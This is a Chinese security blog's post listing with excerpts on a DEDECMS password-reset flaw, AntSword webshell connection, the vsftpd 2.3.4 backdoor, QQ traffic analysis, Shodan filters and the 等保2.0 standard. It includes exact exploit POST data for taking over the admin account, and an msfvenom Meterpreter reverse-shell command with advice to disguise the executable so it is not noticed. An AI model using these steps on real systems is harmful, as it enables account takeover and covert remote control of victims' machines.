- 博客(7)
- 收藏
- 关注
RSS订阅原创 DEDECMS前台漏洞
点击load URL获取网址，再点击Post data 输入dopost=safequestion&safequestion=0.0&safeanswer=&id=2（id为你所创建的账户的id，管理员账户admin为1）不要放回数据包，另开一个浏览器，将抓包看到得到的key补充到网址上，如下图，成功后即可直接修改密码登录账号。进去后在左侧栏找到系统并点击，再次点击系统基本参数，点击会员设置，将会员功能开启。开启bp的代理后，点击execute，bp成功抓包，一直放包直到出现以下页面。
2024-11-02 16:51:42
648
原创 蚁剑的连接建立
中国蚁剑支持Windows、Linux、macOS等多个操作系统，用户可以在不同的平台上无缝使用，它还支持多种脚本语言，包括PHP、ASP、ASPX、JSP等，能够广泛应用于不同类型的网站管理。通过中国蚁剑，用户可以轻松实现对网站各项指标的实时监控，包括但不限于服务器状态、流量统计、日志分析等。打开蚁剑，右键添加数据，连接密码即为一句话木马里自己定义的连接指令，编码器可以随便选，连接不成功就换一个，保存即可创建成功。在此页面打开终端，我们可以通过指令获取连接机器的各种信息了。创建好后，单机选项即可连接。
2024-10-26 17:16:52
1255
原创 kali远程操控
指定保存位置本例中 /home/用户/windows.exe （建议保存在本地路径，自创一个文件夹，这样就不需要root模式打开文件，exe程序可以自己命名一个看起来正常一点的名字，或是绑定在其他程序上，不那么容易被发现）msfvenom -p windows/meterpreter/reverse_tcp lhost=kali IP lport=空闲的端口 -f exe -o /保存的路径/名字.exe。lport //这个是自己设置一个空闲端口，如果端口被占用，则程序无法生成，换一个端口即可。
2024-10-26 15:37:30
645
原创 qq数据的分析（利用Wireshark）
数据链路层网络层传输层追踪流我们可以发现qq数据包的数据是加密的老版本的qq更多的使用UDP协议，保密性较差，但效率更高，我们可以直接使用oicq查看qq的数据流，点进去后可直接看到qq账号以明文的形式在网络上传输。
2024-10-25 15:42:59
1037
原创 笑脸漏洞的复现（附python脚本）
ftp协议的此版本：vsftpd 2.3.4 设计者给自己留了一个后门，通过账号带有:) （笑脸）即可以开启6200端口，然后以管理员的身份入侵到主机上。
2024-10-24 21:28:13
890
原创 网络空间搜索引擎
shodan是一个网络搜索引擎，主要侧重于搜索互联网上连接的设备、服务和网络。支持设备搜索，服务搜索，漏洞扫描，可视化工具，查询历史数据，API支持，监视与提醒等等。country:"英文缩写" 限定国家city:"城市（国内的为拼音英文）" 限定城市hostname:" " 限定主机名或域名org:" " 限定组织或机构os:"版本" 限定系统os版本product:" " 限定使用的软件或产品net:" " 限定网段port:端口号 限定端口。
2024-10-11 17:39:09
1399
原创 等保2.0的基础理解（个人见解）
故而推出了等保2.0，对日益复杂的网络安全威胁有着更好的防护作用，通过建立更加完善的网络安全保护体系，提高信息系统的防护能力，确保网络信息系统的安全性和稳定性。等保2.0的完善带动了信息安全系统的各种安全行业得到了稳定的发展和统一的标准，对我国的信息系统安全发展奠定了基础。同时，等保2.0提出了“一个中心、三重防护”的新安全防护理念，即以安全管理中心为核心，实现安全计算环境、安全区域边界、安全通信网络三个层面的立体防护。：设立专门的安全管理机构，配备专业的安全管理人员，负责信息系统的安全管理工作。
2024-10-08 22:38:02
874
1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人